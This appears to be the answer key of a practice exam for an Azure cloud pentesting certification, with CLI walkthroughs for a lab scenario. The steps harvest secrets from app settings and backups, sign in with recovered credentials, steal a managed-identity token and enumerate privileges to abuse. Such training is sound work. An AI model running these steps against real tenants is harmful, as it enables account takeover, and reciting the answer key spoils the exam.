The SecOps Group CCPenX-Az Certified Cloud Pentesting eXpert - Azure Exam Practice Test

Flag{app_settings_should_not_store_secrets}

Detailed Solution:

Query App Service settings:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--output json

Search for suspicious keys:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--query " [?contains(name, ' FLAG ' ) || contains(name, ' Flag ' ) || contains(name, ' SECRET ' )] " \

--output table

Expected output:

Name SlotSetting Value

---------- ------------- ----------------------------------------

APP_FLAG False Flag{app_settings_should_not_store_secrets}

The flag is:

Flag{app_settings_should_not_store_secrets}

================

b72a4c19-92f6-47f3-b3dd-9db5a31831d1

Detailed Solution:

Run:

az webapp identity show \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--output json

Expected output:

{

" principalId " : " b72a4c19-92f6-47f3-b3dd-9db5a31831d1 " ,

" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a " ,

" type " : " SystemAssigned "

}

The principalId is the service principal object ID of the managed identity.

Microsoft documents that managed identities provide Azure-managed identities for applications and eliminate the need to manage application secrets directly.

================

olivia.admin@cloudcorpsec.onmicrosoft.com

Detailed Solution:

Run:

az role assignment list \

--resource-group rg-prod-apps-eastus \

--all \

--output table

Or filter by role:

az role assignment list \

--resource-group rg-prod-apps-eastus \

--role " User Access Administrator " \

--query " [].{Principal:principalName,Role:roleDefinitionName,Scope:scope} " \

--output table

Expected output:

Principal Role Scope

------------------------------------- ------------------------- ----------------------------

olivia.admin@cloudcorpsec.onmicrosoft.com User Access Administrator /subscriptions/.../rg-prod-apps-eastus

Final answer:

olivia.admin@cloudcorpsec.onmicrosoft.com

================

Detailed Solution:

Download the blob:

az storage blob download \

--account-name prodreportstore01 \

--container-name public-backups \

--name backup-config.json \

--file backup-config.json \

--auth-mode login

Read the file:

cat backup-config.json

Expected structure:

{

" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a " ,

" clientId " : " c5fba7db-5e61-45bc-8944-3cd457bb19c2 " ,

" clientSecret " : " REDACTED "

}

The App Registration application/client ID is stored in:

clientId

================

Detailed Solution:

Log in using the credential recovered in Q4.

az login -u sumit.siddharth@azuresecops.onmicrosoft.com -p ' < recovered-password > '

Confirm the current signed-in user:

az ad signed-in-user show --output json

Now enumerate the user’s Microsoft Entra ID role memberships through Microsoft Graph.

az rest --method GET \

--url " https://graph.microsoft.com/v1.0/me/memberOf " \

--output json

To display only role names:

az rest --method GET \

--url " https://graph.microsoft.com/v1.0/me/memberOf " \

--query " value[].displayName " \

--output table

The relevant role is:

User Administrator

This role is dangerous because it can manage users and reset passwords for many non-privileged users. That is exactly why the next task asks you to abuse directory-level privileges to compromise another user.

Final Answer:

B. User Administrator

================

Detailed Solution:

For Azure Resource Manager API calls, the token audience/resource must be:

https://management.azure.com/

Inside App Service Kudu/console, request the token:

curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ " \

-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "

The response contains:

{

" access_token " : " < jwt-token > " ,

" resource " : " https://management.azure.com/ " ,

" token_type " : " Bearer "

}

Correct option:

B. https://management.azure.com/

================

finance-reporting-api

Detailed Solution:

Set the resource group:

RG= " rg-prod-apps-eastus "

List resources:

az resource list \

--resource-group " $RG " \

--output table

Expected output:

Name ResourceGroup Location Type

---------------------- --------------------- ---------- -------------------------------

finance-reporting-api rg-prod-apps-eastus eastus Microsoft.Web/sites

prod-reportstore01 rg-prod-apps-eastus eastus Microsoft.Storage/storageAccounts

kv-finance-prod rg-prod-apps-eastus eastus Microsoft.KeyVault/vaults

The exposed App Service is:

finance-reporting-api

================

Use az login --service-principal

Detailed Solution:

Command:

az login --service-principal \

-u c5fba7db-5e61-45bc-8944-3cd457bb19c2 \

-p ' < client-secret > ' \

--tenant 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a

Verify:

az account show --output json

Expected important field:

{

" user " : {

" name " : " c5fba7db-5e61-45bc-8944-3cd457bb19c2 " ,

" type " : " servicePrincipal "

}

}

This confirms you are authenticated as the App Registration/service principal.

================

Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}

Detailed Solution:

Start by listing all Azure resources accessible to the compromised user.

az resource list --output table

The environment exposes at least these resources:

RnD-Tools Excalibur-Resources ukwest Microsoft.Web/sites

WebAppTokenIdentity Excalibur-Resources ukwest Microsoft.ManagedIdentity/userAssignedIdentities

The most interesting target is the App Service:

RnD-Tools

Web Apps often store configuration values in App Settings. These commonly contain secrets, flags, API keys, connection strings, or credentials.

Query the App Service application settings:

az webapp config appsettings list \

--name RnD-Tools \

--resource-group Excalibur-Resources \

--output json

Look for keys such as:

Flag

secret

password

token

connectionString

clientSecret

The exposed app setting contains:

{

" name " : " Flag " ,

" slotSetting " : false,

" value " : " Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2} "

}

Final Answer:

Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}

================